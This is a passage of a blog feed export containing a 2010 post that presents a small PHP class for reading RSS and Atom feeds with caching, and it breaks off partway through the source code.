			<wfw:commentRss>http://joshduck.com/blog/2010/02/27/cleaning-up-antiquated-subversion-working-folders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple Atom / RSS Reader for PHP</title>
		<link>http://joshduck.com/blog/2010/02/08/simple-atom-rss-reader-for-php/</link>
		<comments>http://joshduck.com/blog/2010/02/08/simple-atom-rss-reader-for-php/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 19:13:25 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=46</guid>
		<description><![CDATA[I was recently looking for a simple RSS reader for PHP. There are a few out there, like Magpie RSS. These seem like adequate projects, but much too high level for the scripts I was throwing together. I need to read a couple of different feed formats: namely Wordpress&#8217; RSS feed and Flickr&#8217;s Atom feeds. [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently looking for a simple RSS reader for PHP. There are a few out there, like <a href="http://magpierss.sourceforge.net/">Magpie RSS</a>. These seem like adequate projects, but much too high level for the scripts I was throwing together. I need to read a couple of different feed formats: namely Wordpress&#8217; RSS feed and Flickr&#8217;s Atom feeds. I decided to put together a single-class implementation which didn&#8217;t do anything more than the bare minimum.</p>
<p><span id="more-46"></span>
<ul>
<li>Read both Atom and RSS feeds.</li>
<li>Easy initialisation and feed iteration (one line for each).</li>
<li>Cache URL contents (default is 60 minutes).</li>
<li>Graceful degradation: fail gracefully on errors (errors result in a 0 item feed which can be iterated through).</li>
<li>Single XML implementation for leaner code (SimpleXML).</li>
</ul>
<p>Firstly, my usage examples:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$feed</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Feed<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://www.example.com/feed.rss'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Get items with next() or current()</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;">// &quot;Blog post 1&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;">// &quot;Blog post 2&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// &quot;Blog post 2&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Feed data returned</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// &quot;Blog post 2&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">date</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// int(1265569159)</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// &quot;Lorem ipsum dolar...&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">link</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// &quot;http://www.example.com/blog/2&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">image</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// &quot;http://www.example.com/blog/images/2.jpg&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Get multiple items in single call</span>
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>               <span style="color: #666666; font-style: italic;">// &quot;Blog post 3&quot; &quot;Blog post 4&quot; &quot;Blog post 5&quot;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Reset internal counter</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;">// &quot;Blog post 1&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Get random items, without repeating</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// &quot;Blog post 4&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// &quot;Blog post 1&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Total number of items</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                 <span style="color: #666666; font-style: italic;">// int(10)</span></pre></div></div>

<p>The implementation is below. I failed on the single-class requirement, instead choosing to use the Template design pattern and break the actual XML DOM navigation out into a seperate class for each feed type. This keeps the overall design a lot cleaner.</p>
<div style="height: 40em; overflow: auto;">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #009933; font-style: italic;">/**
 * Simple reader for RSS and Atom feeds. 
 * Requires: SimpleXML, fopen_wrappers
 * Limitations: Not content encoding support. 
 * 
 * Usage:
 *     $feed = new Feed('http://www.example.com/feed.rss');
 *
 *     //Get items with next() or current()
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 1&quot;
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 1&quot;
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 2&quot;
 *     echo $feed-&gt;current()-&gt;title;        // &quot;Blog post 2&quot;
 *
 *     //Feed data returned
 *     echo $feed-&gt;current()-&gt;title;        // &quot;Blog post 2&quot;
 *     echo $feed-&gt;current()-&gt;date;         // int(1265569159)
 *     echo $feed-&gt;current()-&gt;description;  // &quot;Lorem ipsum dolar...&quot;
 *     echo $feed-&gt;current()-&gt;link;         // &quot;http://www.example.com/blog/2&quot;
 *     echo $feed-&gt;current()-&gt;image;        // &quot;http://www.example.com/blog/images/2.jpg&quot;
 *
 *     //Get multiple items in single call
 *     foreach ($feed-&gt;find(3) as $item) {
 *         echo $item-&gt;title;               // &quot;Blog post 3&quot; &quot;Blog post 4&quot; &quot;Blog post 5&quot;
 *     }
 *
 *     //Reset internal counter
 *     echo $feed-&gt;reset();
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 1&quot;
 *
 *     //Get random items, without repeating
 *     echo $feed-&gt;random()-&gt;title;         // &quot;Blog post 4&quot;
 *     echo $feed-&gt;random()-&gt;title;         // &quot;Blog post 3&quot;
 *
 *     //Total number of items
 *     echo $feed-&gt;count();                 // int(10)
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> Feed <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$reader</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$current</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$remaining</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$cacheTime</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Create Atom reader object.
	 *
	 * @param string $url
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Reset current item to first RSS item.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span> <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get the next item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #339933;">++;</span>
			<span style="color: #000088;">$next</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$next</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get the current item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">max</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get random item from the feed. Will not return an item more than once.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> random<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$picked</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_rand</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$index</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$picked</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$picked</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get X items from feed. Will advance pointer.
	 *
	 * @param int $count
	 * @return array of stdClass
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> find<span style="color: #009900;">&#40;</span><span style="color: #000088;">$count</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$items</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$item</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$items</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$count</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$items</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get the number of items in the feed.
	 *
	 * @return int
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get FeedReader object for the feed.
	 *
	 * @return FeedReader
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getReader<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getXML</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>RSSReader<span style="color: #339933;">::</span><span style="color: #004000;">canRead</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> RSSReader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>AtomReader<span style="color: #339933;">::</span><span style="color: #004000;">canRead</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AtomReader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> NullReader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get XML element for the feed.
	 *
	 * @return SimpleXMLElement
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getCacheXML</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getURLXML</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLElement<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get XML element for the feed from cache.
	 *
	 * @return SimpleXMLElement or null if cache doesn't exist.
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getCacheXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//Store URL data in local cache.</span>
		<span style="color: #000088;">$cacheFilename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getCacheFilename</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cacheFilename</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cacheFilename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cacheTime</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cacheFilename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLElement<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get XML element from the feed from the live URL.
	 * Will cache XML data to disk.
	 *
	 * @return SimpleXMLElement or null if URL is unreachable.
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getURLXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			try <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLElement<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getCacheFilename</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
